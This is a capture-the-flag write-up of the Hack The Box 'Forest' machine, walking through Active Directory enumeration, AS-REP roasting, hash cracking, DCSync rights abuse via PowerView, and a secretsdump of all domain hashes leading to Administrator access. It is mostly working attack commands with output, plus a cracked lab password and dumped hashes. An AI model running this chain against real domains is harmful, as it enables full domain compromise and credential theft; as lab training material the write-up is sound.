> For the complete documentation index, see [llms.txt](https://0xzoro.gitbook.io/0xzoro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xzoro.gitbook.io/0xzoro/htb/htb-writeups/forest.md).

# Forest

Forest is an easy Windows machine that showcases a Domain Controller (DC) for a domain in which Exchange Server has been installed. The DC allows anonymous LDAP binds, which are used to enumerate doma

{% embed url="<https://app.hackthebox.com/machines/Forest?sort_by=created_at&sort_type=desc>" %}

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FKYfuxoKl37kY1t1VMEf6%2Fimage.png?alt=media&amp;token=ae1d76e7-379e-41ce-86e4-93e3ad4af592" alt=""><figcaption></figcaption></figure>

## Nmap\_Scan

first we start with an nmap scan
\
we will use the following command
\
nmap -sC -sV -A $IP

```
nmap -sC -sV -A 10.129.95.210
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-23 21:37 EDT
Nmap scan report for 10.129.95.210
Host is up (0.15s latency).
Not shown: 988 closed tcp ports (reset)
PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-24 01:44:08Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Device type: general purpose
Running: Microsoft Windows 2016
OS CPE: cpe:/o:microsoft:windows_server_2016
OS details: Microsoft Windows Server 2016
Network Distance: 2 hops
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-03-24T01:44:24
|_  start_date: 2026-03-24T01:41:48
|_clock-skew: mean: 2h26m50s, deviation: 4h02m32s, median: 6m48s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2026-03-23T18:44:28-07:00
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

TRACEROUTE (using port 111/tcp)
HOP RTT       ADDRESS
1   164.36 ms 10.10.16.1
2   59.48 ms  10.129.95.210

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.32 seconds
                                                              
```

it is creystal clear that the machine is Windows machine and big chance it is running Windows Server 2016 based on nmap detection for the OS and services run (LDAP, Kerbereos)

### SMB\_Enum

first i will go to enumerate the SMB service
\
i used the command smbmap -H 10.129.95.210
\
but no hits for me here or any data i can find
\
i also used the command smbclient -N -L //10.129.95.210 with nothing hits

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FGJ1ypekkBWSKa6RFUP15%2Fimage.png?alt=media&amp;token=1bf21450-f3d1-4292-9dab-53bccbe0ea76" alt=""><figcaption></figcaption></figure>

```
crackmapexec smb 10.129.95.210 --shares -u '' -p ''
SMB         10.129.95.210   445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB         10.129.95.210   445    FOREST           [+] htb.local\: 
SMB         10.129.95.210   445    FOREST           [-] Error enumerating shares: STATUS_ACCESS_DENIED

```

so we now know that SMB will not work for us because it require password to enumerate the shares&#x20;

also from the nmap scan we know that&#x20;

```
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

```

now that is more extra security layer added to the SMB service

**SMB signing** is a security feature that digitally signs each SMB packet to prevent **man-in-the-middle (MITM) attacks**, such as:

* SMB relay attacks
* Packet tampering
* Session hijacking

When signing is enabled, the client and server verify that the packets haven’t been altered in transit.

### RPC\_Enum

now after reaching a dead end with SMB i will go with RPC using the following command

```
rpcclient -U "" -N 10.129.95.210
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

```

and we got a hit that gives us more information about the machine users by using the enumdomusers built-in command

you can get more details and information by using the following commands

```
srvinfo	
enumdomains	
querydominfo	
netshareenumall	
netsharegetinfo <share>	
enumdomusers	
queryuser <RID>	
Rpcclient - Group Information
querygroup 0x201
```

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FiRYlbyYT90mFg89Yx4qz%2Fimage.png?alt=media&amp;token=d75b9818-0392-4554-b081-1b16674d2ec3" alt=""><figcaption></figcaption></figure>

The commands are taken from my CPTS's commands list here <https://0xzoro.gitbook.io/0xzoro/cpts/cpts-cheat-sheet>

you can find many more useful commands

### LDAP\_enum

we will use the following tool for that&#x20;

{% embed url="<https://github.com/ropnop/windapsearch>" %}

```
./windapsearch.py -d htb.local --dc-ip 10.129.95.210 -U 
```

and it will give you good results

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FajuyBJuHZe7RYX3sXWBG%2Fimage.png?alt=media&amp;token=b33efd86-7f3f-43e2-a890-1fa7b0a06109" alt=""><figcaption></figcaption></figure>

## Asreproasting

now after we found possible users that are in the domain now we can attempt to do the asreproasting famous attack to see if we can land in the domain with userename and password

you can read more about the attack logic in here&#x20;

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/asreproast>" %}

now remember that we need to put the list of found users from RPC in file called valid\_ad\_users

and run the following command

Hunting for Users with Kerberos Pre-auth Not Required

```
GetNPUsers.py -request -format hashcat -outputfile ASREProastables.txt -no-pass -usersfile valid_ad_users -dc-ip 10.129.95.210  'HTB/'
```

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FVSAo6TJEaEOa2uIDc17L%2Fimage.png?alt=media&amp;token=67c625f4-a45f-47db-8e41-1fc335dc3469" alt=""><figcaption></figcaption></figure>

you can drop and exclude the healthmailbox users if you got a large list of users so you can speed the process up&#x20;

In **Microsoft Exchange Server**, **HealthMailbox** accounts are **monitoring mailboxes** used by the **Managed Availability** feature (introduced in Exchange 2013). These are:

* **System-created** automatic mailboxes
* Used to run **proactive health checks** and monitoring probes
* Part of Exchange's self-healing infrastructure

Each HealthMailbox has a **random-looking suffix** (like `83d6781`) to ensure uniqueness across the organization.

### Cracking with Hachcat

\
after successfully getting the kerb tgt hash for the SVC account called alfresco

now we use the hashcat tool to crack the ticket hash&#x20;

```
hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt 
```

![](https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2F48dsV6MITW37rBjdjtwR%2Fimage.png?alt=media\&token=92b0a6b4-2346-457d-94a7-9728889cc171)<br>

## Shell as alfresco

now we can attempt to connect to the machine

but before that we can do enumeration for the SMB with valid username and passowrd&#x20;

```
crackmapexec smb 10.129.95.210 -u "svc-alfresco" -p "s3rvice" --shares
SMB         10.129.95.210   445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB         10.129.95.210   445    FOREST           [+] htb.local\svc-alfresco:s3rvice 
SMB         10.129.95.210   445    FOREST           [+] Enumerated shares
SMB         10.129.95.210   445    FOREST           Share           Permissions     Remark
SMB         10.129.95.210   445    FOREST           -----           -----------     ------
SMB         10.129.95.210   445    FOREST           ADMIN$                          Remote Admin
SMB         10.129.95.210   445    FOREST           C$                              Default share
SMB         10.129.95.210   445    FOREST           IPC$                            Remote IPC
SMB         10.129.95.210   445    FOREST           NETLOGON        READ            Logon server share 
SMB         10.129.95.210   445    FOREST           SYSVOL          READ            Logon server share 
```

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FYXSOcE82O2FpsOfL6HzR%2Fimage.png?alt=media&amp;token=46797c62-d8a1-4b16-aba4-d3783112b475" alt=""><figcaption></figcaption></figure>

you can do further enumeration after login with crackmapexec

### User Flag

```
evil-winrm -i 10.129.95.210 -u "svc-alfresco"  -p s3rvice
```

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FzzTEraGcgmNJdH7gT3qa%2Fimage.png?alt=media&amp;token=8058417d-e295-4380-90e2-6aabf260112a" alt=""><figcaption></figcaption></figure>

## Priv-Esc

now after we get reverse shell in the domain&#x20;

we will use the following tool to gather every possible way we can escalate our privilege&#x20;

{% embed url="<https://github.com/SpecterOps/BloodHound-Legacy/blob/master/Collectors/SharpHound.exe>" %}

After downloading the EXE file we upload it to the machine

```
*Evil-WinRM* PS C:\Users\svc-alfresco> cd Desktop
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> upload SharpHound.exe
                                        
Info: Uploading /home/kali/HTB/Machines/forest/SharpHound.exe to C:\Users\svc-alfresco\Desktop\SharpHound.exe
                                        
Data: 1395368 bytes of 1395368 bytes copied
                                        
Info: Upload successful!
```

after that we simply type the command&#x20;

```
./SharpHound.exe -c all
```

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FKI6Fe8YJx6s6bAmONHzn%2Fimage.png?alt=media&amp;token=a9998d64-644a-47fb-8b66-fe7c45d292e8" alt=""><figcaption></figcaption></figure>

nex command to dowload the file to our local kali machine&#x20;

```
download 20260323203531_BloodHound.zip
                                        
Info: Downloading C:\Users\svc-alfresco\Desktop\20260323203531_BloodHound.zip to 20260323203531_BloodHound.zip
                                        
Info: Download successful!
```

now we can start bloodhound on kali and upload the gathered data on it&#x20;

for installtion you can use the followig commands

### Bloodhound\_Installation

```
sudo apt update && sudo apt upgrade -y
sudo apt install docker.io
sudo curl -L "https://github.com/docker/compose/releases/download/v2.32.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
docker-compose --version
mkdir BloodHound
curl -L https://ghst.ly/getbhce > docker-compose.yml
sudo docker-compose pull && sudo docker-compose up
http://localhost:8080/ui/
```

now we can upload the ZIP file and explore the users, groups, GPOs for further enumeration

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FKTMXxdgwyNa40CVHpuah%2Fimage.png?alt=media&amp;token=3de94cc5-e5c2-47d0-a98f-7337be571521" alt=""><figcaption></figcaption></figure>

and we can see that the owned user is part of servie accounts which is part of privielged IT accounts which is member of account operators group&#x20;

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FUQTWFUsVPiXZ8S5mjyjK%2Fimage.png?alt=media&amp;token=6d4a25ac-bffb-4876-8567-5d44c08866c2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FnGpJ6u7KT4qhkCaO5Mh2%2Fimage.png?alt=media&amp;token=671c95e7-ee4e-444d-aa00-7760d1f2731c" alt=""><figcaption></figcaption></figure>

for more about security groups in AD read more&#x20;

{% embed url="<https://www.thehacker.recipes/ad/movement/builtins/security-groups>" %}

under rights and abuse you can see the following&#x20;

its members can create and manage users and groups, including its own membership and that of the Server Operators group (e.g. [add a member to a group](https://www.thehacker.recipes/ad/movement/dacl/addmember))

### Exploit\_Permissions

now we can add member to the group called Exchange Windows Permission&#x20;

this group got write\_DACL permission on HTB.LOCAL which contain the Domain Admins group&#x20;

to be spicifec we will use the following commands

```
net user zoro zorosec! /add /domain
net group "Exchange Windows Permissions" zoro /add
net localgroup "Remote Management Users" zoro /add
```

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FkihNuI0juPQKQityDy0x%2Fimage.png?alt=media&amp;token=72f1c61a-fc9b-4b7b-ba54-852af3b04621" alt=""><figcaption></figcaption></figure>

giving no errors indicates that we are on hte right path

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FVl1F3uR6k5VHISOmZeBr%2Fimage.png?alt=media&amp;token=990f4d89-ec7e-4722-975a-e7d1c1e5e5f0" alt=""><figcaption></figcaption></figure>

now we can upload the Powerview script so we can grant the DCSync permissions and dump any user in the domain hash&#x20;

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> . .\PowerView.ps1
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> $pass = convertto-securestring 'zorosec!' -asplain -force
 
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> $cred = new-object system.management.automation.pscredential('htb\zoro', $pass)
 
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> Add-ObjectACL -PrincipalIdentity zoro -Credential $cred -Rights DCSync
```

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FQLQoAvN5becQuLmJLeD5%2Fimage.png?alt=media&amp;token=37aeda1a-a29c-45f7-9487-e50e2d93c12c" alt=""><figcaption></figcaption></figure>

### Dumping\_User's\_Hashes

Giving no errors indicates that we good now to dump the user's hashes from the domain using the credentials of the user we just created and we gave him DCSync rights

```
impacket-secretsdump htb/zoro@10.129.95.210
Impacket v0.13.0.dev0+20251002.113829.eaf2e556 - Copyright Fortra, LLC and its affiliated companies 

Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_2c8eef0a09b545acb:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_ca8c2ed5bdab4dc9b:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_75a538d3025e4db9a:1126:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_681f53d4942840e18:1127:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_1b41c9286325456bb:1128:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_9b69f1b9d2cc45549:1129:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_7c96b981967141ebb:1130:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_c75ee099d0a64c91b:1131:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_1ffab36a2f5f479cb:1132:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\HealthMailboxc3d7722:1134:aad3b435b51404eeaad3b435b51404ee:4761b9904a3d88c9c9341ed081b4ec6f:::
htb.local\HealthMailboxfc9daad:1135:aad3b435b51404eeaad3b435b51404ee:5e89fd2c745d7de396a0152f0e130f44:::
htb.local\HealthMailboxc0a90c9:1136:aad3b435b51404eeaad3b435b51404ee:3b4ca7bcda9485fa39616888b9d43f05:::
htb.local\HealthMailbox670628e:1137:aad3b435b51404eeaad3b435b51404ee:e364467872c4b4d1aad555a9e62bc88a:::
htb.local\HealthMailbox968e74d:1138:aad3b435b51404eeaad3b435b51404ee:ca4f125b226a0adb0a4b1b39b7cd63a9:::
htb.local\HealthMailbox6ded678:1139:aad3b435b51404eeaad3b435b51404ee:c5b934f77c3424195ed0adfaae47f555:::
htb.local\HealthMailbox83d6781:1140:aad3b435b51404eeaad3b435b51404ee:9e8b2242038d28f141cc47ef932ccdf5:::
htb.local\HealthMailboxfd87238:1141:aad3b435b51404eeaad3b435b51404ee:f2fa616eae0d0546fc43b768f7c9eeff:::
htb.local\HealthMailboxb01ac64:1142:aad3b435b51404eeaad3b435b51404ee:0d17cfde47abc8cc3c58dc2154657203:::
htb.local\HealthMailbox7108a4e:1143:aad3b435b51404eeaad3b435b51404ee:d7baeec71c5108ff181eb9ba9b60c355:::
htb.local\HealthMailbox0659cc1:1144:aad3b435b51404eeaad3b435b51404ee:900a4884e1ed00dd6e36872859c03536:::
htb.local\sebastien:1145:aad3b435b51404eeaad3b435b51404ee:96246d980e3a8ceacbf9069173fa06fc:::
htb.local\lucinda:1146:aad3b435b51404eeaad3b435b51404ee:4c2af4b2cd8a15b1ebd0ef6c58b879c3:::
htb.local\svc-alfresco:1147:aad3b435b51404eeaad3b435b51404ee:9248997e4ef68ca2bb47ae4e6f128668:::        
htb.local\andy:1150:aad3b435b51404eeaad3b435b51404ee:29dfccaf39618ff101de5165b19d524b:::                
htb.local\mark:1151:aad3b435b51404eeaad3b435b51404ee:9e63ebcb217bf3c6b27056fdcb6150f7:::                
htb.local\santi:1152:aad3b435b51404eeaad3b435b51404ee:483d4c70248510d8e0acb6066cd89072:::               
zoro:10101:aad3b435b51404eeaad3b435b51404ee:e3cc1d51f89f30f12cad7dc0fc0767bf:::                         
FOREST$:1000:aad3b435b51404eeaad3b435b51404ee:2c25f32476b4d41d713f9fcf95a8a191:::                       
EXCH01$:1103:aad3b435b51404eeaad3b435b51404ee:050105bb043f5b8ffc3a9fa99b5ef7c1:::                       
[*] Kerberos keys grabbed                                                                               
htb.local\Administrator:aes256-cts-hmac-sha1-96:910e4c922b7516d4a27f05b5ae6a147578564284fff8461a02298ac9263bc913                                                                                                
htb.local\Administrator:aes128-cts-hmac-sha1-96:b5880b186249a067a5f6b814a23ed375                        
htb.local\Administrator:des-cbc-md5:c1e049c71f57343b                                                    
krbtgt:aes256-cts-hmac-sha1-96:9bf3b92c73e03eb58f698484c38039ab818ed76b4b3a0e1863d27a631f89528b         
krbtgt:aes128-cts-hmac-sha1-96:13a5c6b1d30320624570f65b5f755f58                                         
krbtgt:des-cbc-md5:9dd5647a31518ca8                                                                     
htb.local\HealthMailboxc3d7722:aes256-cts-hmac-sha1-96:258c91eed3f684ee002bcad834950f475b5a3f61b7aa8651c9d79911e16cdbd4                                                                                         
htb.local\HealthMailboxc3d7722:aes128-cts-hmac-sha1-96:47138a74b2f01f1886617cc53185864e                 
htb.local\HealthMailboxc3d7722:des-cbc-md5:5dea94ef1c15c43e                                             
htb.local\HealthMailboxfc9daad:aes256-cts-hmac-sha1-96:6e4efe11b111e368423cba4aaa053a34a14cbf6a716cb89aab9a966d698618bf
htb.local\HealthMailboxfc9daad:aes128-cts-hmac-sha1-96:9943475a1fc13e33e9b6cb2eb7158bdd
htb.local\HealthMailboxfc9daad:des-cbc-md5:7c8f0b6802e0236e
htb.local\HealthMailboxc0a90c9:aes256-cts-hmac-sha1-96:7ff6b5acb576598fc724a561209c0bf541299bac6044ee214c32345e0435225e
htb.local\HealthMailboxc0a90c9:aes128-cts-hmac-sha1-96:ba4a1a62fc574d76949a8941075c43ed
htb.local\HealthMailboxc0a90c9:des-cbc-md5:0bc8463273fed983
htb.local\HealthMailbox670628e:aes256-cts-hmac-sha1-96:a4c5f690603ff75faae7774a7cc99c0518fb5ad4425eebea19501517db4d7a91
htb.local\HealthMailbox670628e:aes128-cts-hmac-sha1-96:b723447e34a427833c1a321668c9f53f
htb.local\HealthMailbox670628e:des-cbc-md5:9bba8abad9b0d01a
htb.local\HealthMailbox968e74d:aes256-cts-hmac-sha1-96:1ea10e3661b3b4390e57de350043a2fe6a55dbe0902b31d2c194d2ceff76c23c
htb.local\HealthMailbox968e74d:aes128-cts-hmac-sha1-96:ffe29cd2a68333d29b929e32bf18a8c8
htb.local\HealthMailbox968e74d:des-cbc-md5:68d5ae202af71c5d
htb.local\HealthMailbox6ded678:aes256-cts-hmac-sha1-96:d1a475c7c77aa589e156bc3d2d92264a255f904d32ebbd79e0aa68608796ab81
htb.local\HealthMailbox6ded678:aes128-cts-hmac-sha1-96:bbe21bfc470a82c056b23c4807b54cb6
htb.local\HealthMailbox6ded678:des-cbc-md5:cbe9ce9d522c54d5
htb.local\HealthMailbox83d6781:aes256-cts-hmac-sha1-96:d8bcd237595b104a41938cb0cdc77fc729477a69e4318b1bd87d99c38c31b88a
htb.local\HealthMailbox83d6781:aes128-cts-hmac-sha1-96:76dd3c944b08963e84ac29c95fb182b2
htb.local\HealthMailbox83d6781:des-cbc-md5:8f43d073d0e9ec29
htb.local\HealthMailboxfd87238:aes256-cts-hmac-sha1-96:9d05d4ed052c5ac8a4de5b34dc63e1659088eaf8c6b1650214a7445eb22b48e7
htb.local\HealthMailboxfd87238:aes128-cts-hmac-sha1-96:e507932166ad40c035f01193c8279538
htb.local\HealthMailboxfd87238:des-cbc-md5:0bc8abe526753702
htb.local\HealthMailboxb01ac64:aes256-cts-hmac-sha1-96:af4bbcd26c2cdd1c6d0c9357361610b79cdcb1f334573ad63b1e3457ddb7d352
htb.local\HealthMailboxb01ac64:aes128-cts-hmac-sha1-96:8f9484722653f5f6f88b0703ec09074d
htb.local\HealthMailboxb01ac64:des-cbc-md5:97a13b7c7f40f701
htb.local\HealthMailbox7108a4e:aes256-cts-hmac-sha1-96:64aeffda174c5dba9a41d465460e2d90aeb9dd2fa511e96b747e9cf9742c75bd
htb.local\HealthMailbox7108a4e:aes128-cts-hmac-sha1-96:98a0734ba6ef3e6581907151b96e9f36
htb.local\HealthMailbox7108a4e:des-cbc-md5:a7ce0446ce31aefb
htb.local\HealthMailbox0659cc1:aes256-cts-hmac-sha1-96:a5a6e4e0ddbc02485d6c83a4fe4de4738409d6a8f9a5d763d69dcef633cbd40c
htb.local\HealthMailbox0659cc1:aes128-cts-hmac-sha1-96:8e6977e972dfc154f0ea50e2fd52bfa3
htb.local\HealthMailbox0659cc1:des-cbc-md5:e35b497a13628054
htb.local\sebastien:aes256-cts-hmac-sha1-96:fa87efc1dcc0204efb0870cf5af01ddbb00aefed27a1bf80464e77566b543161
htb.local\sebastien:aes128-cts-hmac-sha1-96:18574c6ae9e20c558821179a107c943a
htb.local\sebastien:des-cbc-md5:702a3445e0d65b58
htb.local\lucinda:aes256-cts-hmac-sha1-96:acd2f13c2bf8c8fca7bf036e59c1f1fefb6d087dbb97ff0428ab0972011067d5
htb.local\lucinda:aes128-cts-hmac-sha1-96:fc50c737058b2dcc4311b245ed0b2fad
htb.local\lucinda:des-cbc-md5:a13bb56bd043a2ce
htb.local\svc-alfresco:aes256-cts-hmac-sha1-96:46c50e6cc9376c2c1738d342ed813a7ffc4f42817e2e37d7b5bd426726782f32
htb.local\svc-alfresco:aes128-cts-hmac-sha1-96:e40b14320b9af95742f9799f45f2f2ea
htb.local\svc-alfresco:des-cbc-md5:014ac86d0b98294a
htb.local\andy:aes256-cts-hmac-sha1-96:ca2c2bb033cb703182af74e45a1c7780858bcbff1406a6be2de63b01aa3de94f
htb.local\andy:aes128-cts-hmac-sha1-96:606007308c9987fb10347729ebe18ff6
htb.local\andy:des-cbc-md5:a2ab5eef017fb9da
htb.local\mark:aes256-cts-hmac-sha1-96:9d306f169888c71fa26f692a756b4113bf2f0b6c666a99095aa86f7c607345f6
htb.local\mark:aes128-cts-hmac-sha1-96:a2883fccedb4cf688c4d6f608ddf0b81
htb.local\mark:des-cbc-md5:b5dff1f40b8f3be9
htb.local\santi:aes256-cts-hmac-sha1-96:8a0b0b2a61e9189cd97dd1d9042e80abe274814b5ff2f15878afe46234fb1427
htb.local\santi:aes128-cts-hmac-sha1-96:cbf9c843a3d9b718952898bdcce60c25
htb.local\santi:des-cbc-md5:4075ad528ab9e5fd
zoro:aes256-cts-hmac-sha1-96:3d445b27362c6af4bddd501251e6d9a6a1c9e35a4dec212ef5682f10ff84000a
zoro:aes128-cts-hmac-sha1-96:62a93584746fd84d768f3b6aa237c9d4
zoro:des-cbc-md5:4f01b3fe0ea7ef26
FOREST$:aes256-cts-hmac-sha1-96:658c45764d60172d95ca074b3ebd14379816b2803ca40d85ea4a8527720ce4eb
FOREST$:aes128-cts-hmac-sha1-96:d20b14f6423af2cf280826c3efc97f08
FOREST$:des-cbc-md5:621ae92a61106470
EXCH01$:aes256-cts-hmac-sha1-96:1a87f882a1ab851ce15a5e1f48005de99995f2da482837d49f16806099dd85b6
EXCH01$:aes128-cts-hmac-sha1-96:9ceffb340a70b055304c3cd0583edf4e
EXCH01$:des-cbc-md5:8c45f44c16975129
[*] Cleaning up...
```

### Shell\_As\_Administrator&#x20;

now using the Administrator hash we can login to the machine using evil-winrm

```
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd C:\Users\Administrator\Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        3/23/2026   6:42 PM             34 root.txt


*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
```

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FJBYy1sbQNVmQGVeTRWZO%2Fimage.png?alt=media&amp;token=78ba9027-ac8d-4953-a8a9-a079febe9b5c" alt=""><figcaption></figcaption></figure>

Thanks for reading